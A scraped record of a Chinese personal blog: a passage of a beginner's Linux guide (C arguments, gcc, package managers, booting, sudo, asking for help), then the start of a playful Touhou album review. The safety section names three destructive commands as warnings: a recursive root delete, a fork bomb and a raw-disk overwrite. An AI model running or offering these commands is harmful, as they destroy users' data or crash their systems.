这个是系统级别的软件配置文件所在\u003c/li\u003e\n\u003cli\u003e$HOME/.config 这个是在你的家目录(/home/你的用户名)里面的软件配置文件所在\u003c/li\u003e\n\u003cli\u003e$HOME/.vkquake 这个是在家目录里,雷神之锤游戏的配置文件和数据包相关(有其他程序是话,请类比)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e配置文件有啥可说的呢?Linux大多数应用都是依靠配置文件,而不是图形化配置工具,来修改设定的。而且,一般通过配置文件,你可以对这个软件的使用有初步的印象,因为很多的配置文件都写满了注释。实际上,前面我们修改软件源的时候,我们就已经修改系统的配置文件了。\u003c/p\u003e\n\u003ch2 id=\"命令行的基本使chao用xi\"\u003e命令行的基本使(chao)用(xi)\u003c/h2\u003e\n\u003cp\u003e在Linux,你要想玩的high,就得接触命令行。对于某些在Windows经常搞cmd的人,估计会更熟悉些吧。\u003cbr\u003e\n但如果你不熟悉命令行,相信你的外语和程序上机都好好学了吧,这也不是难事。\u003cbr\u003e\n而且大家不是更喜欢CyberPorn吗2333\u003c/p\u003e\n\u003ch3 id=\"程序设计课复习程序与参数\"\u003e程序设计课复习:程序与参数\u003c/h3\u003e\n\u003cp\u003e各位应该在C语言程序设计中,学到了如何通过命令行输入参数,而不是先把程序执行了,再输入数据。你们当时肯定输入的是这个:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eint main(int argc, char* argv[])\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e其中第一个参数argc(argument count),是你输入的参数数量。第二个参数argv(argument vector),存放的是你输入的参数字符串。举个例子,前面我们提到要搞软件包管理。在Ubuntu下,你搜索软件包(举个例子,gcc编译器)的时候,你输入的是:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eapt search gcc\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样,你输入了三个参数,一个是apt,一个是search,一个是gcc。这样的话,argc的数值是3,而argv里面存储的,则是那三个参数的字符串了。这里我建议各位自己编写一个和下面程序类似的程序。看看输出结果。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e\u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[]){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%s\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"命令行程序举例一句话编译c语言单文件\"\u003e命令行程序举例:一句话编译C语言单文件\u003c/h3\u003e\n\u003cp\u003e各位目前编程,除了某些大佬之外,肯定是依靠Dev-Cpp之类的程序来编译运行吧。这里我想给大家把那些程序的外表给去掉,给大家看看如何编译一个程序吧。\u003cbr\u003e\n像Dev-Cpp那样的,可以编辑代码并编译执行的程序,叫做集成开发环境(IDE)。IDE要想编译程序,需要编译器,这个配置过vscode的人会更清楚。接下来,我们只依靠编译器,编译上面的示例程序。\u003cbr\u003e\n这里我使用gcc编译器。咱先把上面的示例程序写下来,保存成\u0026rsquo;argc.c\u0026rsquo;文件。然后在保存这个文件的目录下,打开终端,通过以下命令编译运行。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc argc.c -o argc \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ./argc Unforeseen Consequence\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果执行没有问题的话,程序将会输出\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e./argc\nUnforeseen\nConsequence\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e好的,程序运行成功了,执行符合预期。这个命令我也该跟大家解释一下了:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003egcc\u003c/code\u003e 是编译器程序的名称,后面跟参数\u003ccode\u003e–help\u003c/code\u003e可以查看其使用指南\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eargc.c\u003c/code\u003e 是需要编译的源代码文件,是gcc程序的参数\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e-o\u003c/code\u003e 是gcc的参数,表示要将编译后的结果输出到哪个文件中,后面的argc是-o的参数\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e 是bash命令解释器的一个特殊符号,表示在前面的命令完成后,执行后面的命令\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e./argc\u003c/code\u003e 是即将执行的程序名称,\u003ccode\u003e./\u003c/code\u003e表示我们需要在当前目录下寻找该程序\u003c/li\u003e\n\u003cli\u003e后面的两个单词是argc程序的参数,也是G-Man对万斯父女说过的话\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e如果大家一时看不明白,很正常。我这里只是想通过这种方式,让大家对命令行程序有一个了解。\u003cbr\u003e\n如果想更多了解的话,建议大家了解一下bash的基本用法。最后给大家一道思考题:系统是怎样找到程序的位置呢?\u003c/p\u003e\n\u003ch3 id=\"软件包管理\"\u003e软件包管理\u003c/h3\u003e\n\u003cp\u003e前面我说镜像的时候,我说我会在这里细讲的。个人认为,这个是使用频率最高的命令行程序了。\u003cbr\u003e\n在Windows下,各位要用软件的时候,都会找渠道下载安装程序,然后安装吧。这种方式个人认为,十分麻烦,而且不安全。麻烦在于,你得满世界去找安装程序,有些小众程序还得去各种犄角旮旯网站去找。不安全在于,有些渠道很黑心,一不小心就给你来个2345流氓大礼包。要是下到了病毒,那就更好玩了:-P\u003cbr\u003e\n而Linux系统,普遍都有配套的软件库,可以很方便地给你们提供很多的软件。基本上咱们编程需要的东西,都给你准备好了。当然,要是这个程序找不到的话,如果那个软件给Linux适配的话,那就把上面的步骤走一遍吧:-(\u003cbr\u003e\n接下来,我给大家准备了一些命令,免得大家上网找了。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth align=\"center\"\u003e系统类型\u003c/th\u003e\n\u003cth align=\"center\"\u003e安装程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e卸载程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e更新程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e更新系统\u003c/th\u003e\n\u003cth align=\"center\"\u003e搜索程序\u003c/th\u003e\n\u003cth align=\"center\"\u003e图形化工具\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eDebian/Ubuntu\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-get install\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-get remove\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt update \u0026amp;\u0026amp; apt upgrade\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt update \u0026amp;\u0026amp; apt dist-upgrade\u003c/td\u003e\n\u003ctd align=\"center\"\u003eapt-cache search\u003c/td\u003e\n\u003ctd align=\"center\"\u003esynaptic\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eFedora/CentOS\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf install\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf remove\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf update\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf distro-sync\u003c/td\u003e\n\u003ctd align=\"center\"\u003ednf search\u003c/td\u003e\n\u003ctd align=\"center\"\u003e-\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eOpenSUSE\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper in\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper rm\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper up\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper dup\u003c/td\u003e\n\u003ctd align=\"center\"\u003ezypper se\u003c/td\u003e\n\u003ctd align=\"center\"\u003eYaST软件包管理工具\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd align=\"center\"\u003eArch Linux/Manjaro\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -S\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -R\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Syu\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Syu\u003c/td\u003e\n\u003ctd align=\"center\"\u003epacman -Ss\u003c/td\u003e\n\u003ctd align=\"center\"\u003epamac/octopi\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e对了,用GNOME环境的同志们,你们的电脑上面应该有个\u0026quot;软件\u0026quot;应用,那个玩意也挺方便的。KDE下面有个Apper,也还行。\u003cbr\u003e\n还有一件事,软件库是可以扩展的,比如Fedora的RPMFusion,Archlinux的AUR,需要的话,可以上网了解一下。\u003c/p\u003e\n\u003ch2 id=\"如何把-linux-引进家\"\u003e如何把 Linux 引进家\u003c/h2\u003e\n\u003cp\u003e这块我简要说一下如何把 Linux 引进家,也就是你电脑是如何引导 Linux 的。\u003cbr\u003e\n有些名词我不会过多解释,有需要请上网搜索。有错误请指正。\u003c/p\u003e\n\u003ch3 id=\"mbr--uefi\"\u003eMBR / UEFI\u003c/h3\u003e\n\u003cp\u003e电脑开机之后,首先加载 CMOS 里面的程序,用来初始化电脑的硬件。顺便说一句,BIOS 是存在 CMOS 里面,用来修改 CMOS 的内容的程序。多看看老莱就知道了。\u003c/p\u003e\n\u003cp\u003e初始化硬件后,电脑需要寻找硬盘上的操作系统,然后把控制权交出去,因为他除了初始化硬件,连和我贴贴都不会。而这就引申出来标题那俩东西了。\u003c/p\u003e\n\u003cp\u003e对于各位普遍安装的虚拟机,以及老电脑来说,MBR 引导方式是十分普遍的。MBR 是电脑的前 512 字节,存着操作系统引导器的信息。电脑读这几个字节的信息,然后就交权了。UEFI 稍微复杂一些,他能读取一个叫 EFI 分区的玩意,看看里面有啥可引导信息,然后引导系统。\u003c/p\u003e\n\u003ch3 id=\"系统初始化程序\"\u003e系统初始化程序\u003c/h3\u003e\n\u003cp\u003e现在我们需要加载内核到内存,内核文件是压缩过的,名字中一般有个 \u003ccode\u003evmlinuz\u003c/code\u003e 。解压完内核,内核会:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e检测系统硬件\u003c/li\u003e\n\u003cli\u003e挂载根设备\u003c/li\u003e\n\u003cli\u003e加载必要的内核模块(其中包括很多驱动之类)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这里说一句,在没有挂载电脑硬盘根目录前,内核所有操作都在 \u003ccode\u003einitrd\u003c/code\u003e 的虚拟树根中进行。\u003c/p\u003e\n\u003cp\u003e然后就完了\u0026hellip;\u0026hellip;吧?\u003c/p\u003e\n\u003cp\u003e当然不是,系统只有内核是绝对不够的。他不知道键盘鼠标在哪里,不知道如何走网卡上网,不知道如何\u0026hellip;\u0026hellip; 你就当他啥也不会就行了。这时我们需要个人来带领他复习这些东西。这个程序,叫系统初始化+管理工具,目前流行的是 systemd。他能初始化系统,运行必要的系统服务之类的(其中包括我们最喜欢的图形化程序)。一般来说,这玩意搞完了,系统基本就能用了。\u003c/p\u003e\n\u003ch2 id=\"linux系统安全教育\"\u003eLinux系统安全教育\u003c/h2\u003e\n\u003cp\u003e在阅读这一章之前,先把超人的座右铭读一下:能力越大,责任越大。\u003cbr\u003e\nLinux给你的权限是相当大的,鉴于很多人在Windows下,不一定能对系统权限有很深的认识,我不太想让大家因为网上的某些垃圾命令/恶意软件而搞得心情不愉快。所以这里,我简单说几句句。\u003c/p\u003e\n\u003ch3 id=\"sudo和最高权限用户\"\u003esudo和最高权限用户\u003c/h3\u003e\n\u003cp\u003e各位在互联网上寻找到的命令,有一些前面带着\u003ccode\u003esudo\u003c/code\u003e,或是\u003ccode\u003e#\u003c/code\u003e字符。这都意味着,这个命令需要使用最高用户权限(Linux叫root账户)来执行。\u003cbr\u003e\n在Windows下,有管理员账户(Administrator)。相信大家感受不深,因为各位的电脑默认都是这个账户。当你需要安装应用程序的时候,有个窗口弹出来,让你同意运行。这个情况下,系统就需要让你动用管理员用户权限了,因为你要更改系统设置,修改系统文件啊。Linux也是这样,当你需要安装软件的时候,你需要提权了。\u003cbr\u003e\nLinux的最高权限用户和Windows的管理员有很大不同。Windows的管理员权限在某种意义上,算是一种丞相的位置,虽然权力相当大了,但上面还有个SYSTEM账户,掌管所有权力。Linux的最高权限用户可谓是一人之下,万人之上了。你可以访问所有文件,修改所有设定,甚至一句话就可以自杀:-P\u003cbr\u003e\n这就要引出下一个话题了……\u003c/p\u003e\n\u003ch3 id=\"linux也有病毒\"\u003eLinux也有病毒\u003c/h3\u003e\n\u003cp\u003e很多人说,Linux相较于Windows更安全,而且没有病毒。这个话是不完全正确的。\u003cbr\u003e\n先说错误的部分:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLinux内核和上面的软件,和Windows一样,会有漏洞。虽然修复十分频繁,但毕竟洞在那里,很多人都会来插的。\u003c/li\u003e\n\u003cli\u003e由于Windows在普通人中间的使用量相当大,攻击者会花很多心思寻找Windows的漏洞,然后编写病毒攻击。Linux和Mac方面的病毒相比,就少了很多。\u003c/li\u003e\n\u003cli\u003eAndroid系统基于Linux开发,然而为啥天天有人随便下载东西,然后手机被锁住了呢?\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e好吧,看上去,也不是那么美好啊。那么,正确的部分又在那里呢?\u003cbr\u003e\n在Linux下,调用最高管理权限的门槛很高。多数情况下,你在Windows中,默认就是管理员账户,UAC(提权时候的提醒)也近乎于摆设。而Linux的话,用户账户默认是没有最高权限访问权的。而当你提权的时候,往往需要把你加入提权组(一般叫wheel),执行前输入密码。要是不提权的话,你只能操作你家目录里面的东西。而最高权限用户,默认是禁用的,只有当你给其设置密码的时候,才能使用。这种近似于一刀切的管理方式保证了Linux的安全。但如果你们提权了,稀里糊涂地从网上随便贴个危险命令,那就出大事了,比如说:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003esudo rm -rf /*\u003c/code\u003e 臭名昭著的自杀命令\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e:(){:|:\u0026amp;};:\u003c/code\u003e 可理解为不停调用自己,把电脑卡死\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ewhatever-command \u0026gt; /dev/sdaX\u003c/code\u003e 直接用该命令的输出覆写到磁盘上,你的硬盘毁了\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e对于Linux而言,不要执行来路不明的程序,也是适用的。\u003cbr\u003e\n以上说到的,都算是Linux的“病毒”了。希望大家使用的时候一定要小心。\u003c/p\u003e\n\u003ch2 id=\"还有没说到的上网查资料优雅地问问题\"\u003e还有没说到的,上网查资料/优雅地问问题\u003c/h2\u003e\n\u003cp\u003e我前面说过,这里给的东西,都是一些抛砖引玉的东西。如果没有你需要的,首先,我深感歉意:-(\u003cbr\u003e\n去互联网看看,或者找其他大佬吧,他们一定比我博学多了,不过普遍喜欢使用狗头:-P\u003cbr\u003e\n(我看到有人经常发狗头的时候,会过敏,我不知道他是不是在嘲讽我)\u003c/p\u003e\n\u003ch3 id=\"提高英语水平\"\u003e提高英语水平\u003c/h3\u003e\n\u003cp\u003e这很关键!因为系统输出的东西都是英文的,而且你目前接触到的所有互联网资源,尤其是跟Linux相关的资源,都是英语的。实在看不懂,多用谷歌翻译吧。\u003c/p\u003e\n\u003ch3 id=\"查看报错输出\"\u003e查看报错输出\u003c/h3\u003e\n\u003cp\u003e报错输出是查错的时候,非常有用的资源。通过阅读它,你能很快明白问题的根源,并进行针对性的上网,搜索解决方案。这里给个例子。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/HYOXzIBN4kWM1eU.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/HYOXzIBN4kWM1eU.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"他想装一个软件,卡在这里了\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e他想装一个软件,卡在这里了\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e看到那行E了吗,那个就是报错输出。他报错说,仓库没有找到Release文件。\u003cbr\u003e\n这样,会修的就知道怎么修了,不会修发给别人,他也能快速帮助你。他的问题是没有完整添加软件源,导致系统不知道跑哪里下载软件安装包。\u003c/p\u003e\n\u003ch3 id=\"怎么提供信息\"\u003e怎么提供信息\u003c/h3\u003e\n\u003cp\u003e有些时候,上网搜也搜不到解决方案,这时我们就需要求助于人了。对于初学者来说,这很正常。\u003cbr\u003e\n为了节省双方的时间,请各位在上网实在找不到解决方案的时候,再去求助他人。在询问问题的时候,请尽量提供详细的信息。\u003cbr\u003e\n比如,你的输入法没有拼音输入,你应该提供你系统的截图和设置选项。这比直接问“我的输入法没法输入中文”好多了。\u003c/p\u003e\n\u003ch3 id=\"不要过于依赖别人\"\u003e不要过于依赖别人!\u003c/h3\u003e\n\u003cp\u003e我知道对于初学者而言,有些问题搞不明白,得经常求助别人。这个很正常,我也是这么过来的。但是,解决问题后,你应该从中学到一些东西。如果你一直停留在出现问题-询问问题-解决问题的惯性中,你很难学的好。所以,不要过分依赖他人!要学会自己解决问题,逐渐学到更多。而且,人都是有七情六欲的,你一直问,会把人问烦的。\u003c/p\u003e\n\u003ch2 id=\"为什么我不推荐大家使用linux当作日常系统\"\u003e为什么我不推荐大家使用Linux当作日常系统\u003c/h2\u003e\n\u003cp\u003e嘿嘿嘿,看完了是不是很迷糊,那就快跑!\u003cbr\u003e\n记住这些,一定要让那些冲动的人们不要踏进来!\u003c/p\u003e\n\u003ch3 id=\"专业软件太少\"\u003e专业软件太少\u003c/h3\u003e\n\u003cp\u003e举两个例子:我高二的时候,有一会需要剪视频,使用Openshot,结果用起来没有Premiere方便不说,还经常崩溃,我被迫装回Windows,使用Premiere。然后是我刚买来新手机的时候,我刷机失败,需要救砖。但是救砖软件是Windows独占,在我用虚拟机救砖失败后,我被迫装回Windows来救砖。\u003cbr\u003e\n所以说,如果你有十分专业的需求,比如剪视频、重度办公、机床控制、3D游戏之类的话,Linux并不适合你。\u003c/p\u003e\n\u003ch3 id=\"社区风气极差\"\u003e社区风气极差\u003c/h3\u003e\n\u003cp\u003e我最后为啥要给各位介绍如何优雅问问题/上网搜资料呢?因为Linux社区对小白很不友好。这里直接贴上《提问的智慧》的最后一段:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如何更好地回答\u003cbr\u003e\n态度和善一点。问题带来的压力常使人显得无礼或愚蠢,其实并不是这样。\u003cbr\u003e\n对初犯者私下回复。 对那些坦诚犯错之人没有必要当众羞辱,一个真正的新手也许连怎么搜索或在哪找 FAQ 都不知道。\u003cbr\u003e\n如果你不确定,一定要说出来! 一个听起来权威的错误回复比没有还要糟,别因为听起来象个专家好玩就给别人乱指路。要谦虚和诚实,给提问者与同行都树个好榜样。\u003cbr\u003e\n如果帮不了忙,别妨碍。 不要在具体步骤上开玩笑,那样也许会毁了用户的安装──有些可怜的呆瓜会把它当成真的指令。\u003cbr\u003e\n探索性的反问以引出更多的细节。 如果你做得好,提问者可以学到点东西──你也可以。试试将很差的问题转变成好问题,别忘了我们都曾是新手。\u003cbr\u003e\n尽管对那些懒虫报怨一声“读读该死的手册”(RTFM)是正当的,指出文档的位置(即使只是建议做个谷歌关键词搜索)会更好。\u003cbr\u003e\n如果你决意回答,给出好的答案。 当别人正在用错误的工具或方法时别建议笨拙的权宜之计,应推荐更好的工具,重新组织问题。\u003cbr\u003e\n帮助你的社区从中学习。当回复一个好问题时,问问自己 “如何修改相关文件或 FAQ 文档以免再次解答同样的问题?”,接着再向文档维护者发一份补丁。\u003cbr\u003e\n如果你是在研究一番后才做出的回答,展现你的技巧而不是直接端出结果。毕竟“授人以鱼,不如授人以渔”。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在我们的社区,这样的人很少,而且我去Bilibili上面看了,很多都是炫技/营销号:-P\u003cbr\u003e\n希望大佬们好好看看这里吧。\u003c/p\u003e\n\u003ch3 id=\"这是幽幽子使用的系统\"\u003e这是幽幽子使用的系统\u003c/h3\u003e\n\u003cp\u003e这个无需多言,我们凡人使用了她用过的系统,岂不是要折寿?\u003cbr\u003e\n摘自zh.moegirl.org:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e幽幽子平时使用Debian GNU/Linux,因为天冠上的标志与Debian GNU/Linux极为类似。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e以此类推,灵梦用的是Ubuntu,魔理沙使用的就是Arch Linux了吧233\u003c/p\u003e\n\u003ch2 id=\"推荐读物\"\u003e推荐读物\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md\" target=\"_blank\" rel=\"noopener\"\n \u003e提问的智慧\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://lvris.com/p/resource-search/\" target=\"_blank\" rel=\"noopener\"\n \u003e由书名号同志编写的资源搜索指南\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://wiki.archlinux.org/\" target=\"_blank\" rel=\"noopener\"\n \u003eArch Linux Wiki\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.vbird.org/\" target=\"_blank\" rel=\"noopener\"\n \u003e鸟哥的私房菜\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"结尾\"\u003e结尾\u003c/h2\u003e\n\u003cp\u003e感谢大家阅读,希望这个文章能帮助大家适应Linux。我提到的很多东西,在Windows下也适用呢。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/linux-in-quick-run.html"},{"title":"The Embodiment of Scarlet Devil专辑推广材料","time":"2021-11-05T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/IiZ6PgFa1C73SnX.jpg\" alt=\"Featured image of post The Embodiment of Scarlet Devil专辑推广材料\" /\u003e\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\u003cdiv class=\"video-wrapper\"\u003e\r\n \u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026bvid=BV1Wq4y1f7h7\"\r\n scrolling=\"no\"\r\n frameborder=\"no\"\r\n framespacing=\"0\"\r\n allowfullscreen=\"true\"\r\n \u003e\r\n \u003c/iframe\u003e\r\n\u003c/div\u003e\r\n\n\u003cp\u003e本人最近被一群可爱的女孩子找上门来,称自己叫Gensokyo Band,想让我发行一张专辑。我说:我又不是音乐厂商,为啥要找我呢?她们说我肯定识货,直接把母带给我,然后就走了。母带上面写着:The Embodiment of Scarlet Devil。抱着怀疑的心态,我把母带放入了机器里面听,兴许是某种King Crimson首专的仿制品。\u003c/p\u003e\n\u003cp\u003e然而,一开始的感觉并不是这样。这张专辑貌似十分的舒缓,钢琴的声音也很明亮。后面的基本也是这样,钢琴和电子琴一直是最主要的乐器,还有十分抓人耳朵的小号。演奏的很多旋律,都有一种说不上来的熟悉感和陌生感。但是摇滚的特征也很多,比如很多地方快速的吉他演奏,就跟Hackett在Hogweed那首歌开始部分的吉他演奏一样,让人印象深刻。而电子琴高昂的旋律,跟Jon Lord的电子风管琴一样,推动了音乐节奏的发展。怎么说呢,我觉得对于听多了ELP那种表面很好听,实际很古板的音乐之后,突然给我这种难以解释的音乐,还真的很难形容。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cp\u003e整张专辑主要分为四个部分:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. 标题曲: A Dream that is More Scarlet than Red\n第一部分:湖面上一缕清晨的阳光:\n 2. A Soul as Scarlet as a Ground Cherry\n 3. Apparitions Stalk the Night\n 4. Lunate Elf\n 5. Tomboyish Girl in Love\n第二部分:思绪万千的女孩子:\n 6. Shanghai Scarlet Teahouse ~ Chinese Tea\n 7. Shanghai Alice of Meiji 17\n 8. Voile, the Magic Library\n 9. Locked Girl ~ The Girl's Sealed Room\n第三部分:打工人忙碌的一天:\n 10. The Maid and the Pocket Watch of Blood\n 11. Lunar Clock ~ Luna Dial\n第四部分:绯红恶魔的出现:\n 12. The Young Descendant of Tepes\n 13. Septette for a Dead Princess\n 14. The Centennial Festival for Magical Girls\n 15. U.N. Owen Was Her?\n16. 结束曲:An Eternity More Transient than Scarlet\n17. 回响曲:Scarlet Tower ~ Eastern Dream...\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 id=\"第一部分1-5\"\u003e第一部分(1-5)\u003c/h2\u003e\n\u003cp\u003e第一部分主要是十分舒缓的节奏,像许多田园那样十分清爽。这部分的歌曲节奏十分鲜明。第二首和第四首应该是4/2拍,是进行曲那样的节奏。这样的节奏,代入的话,就是一种吸引人们过来欣赏,然后让人呆住听的感觉。除了第三首外,这一部分的鼓声也很鲜明,和跳跃的贝斯配合,像是一个人走在丛林里面探险。我觉得在某种意义上,算是把小号渲染环境的风头给抢去了。第三首我觉得有点平平了,开头像是注册机音乐:-P\u003c/p\u003e\n\u003ch2 id=\"第二部分6-9\"\u003e第二部分(6-9)\u003c/h2\u003e\n\u003cp\u003e第二部分最明显的特征是节奏的逐渐加快和旋律的加重。这里的“加重”,是指旋律逐渐变得很空广,给人一种开阔的感觉,没有第一部分那样的舒缓了。很明显,这是合成器的功劳,流行音乐很喜欢那种开阔的音乐。从Bee Gees 1st到ABBA,再看看Whenever You Need Somebody和吻别之类的, 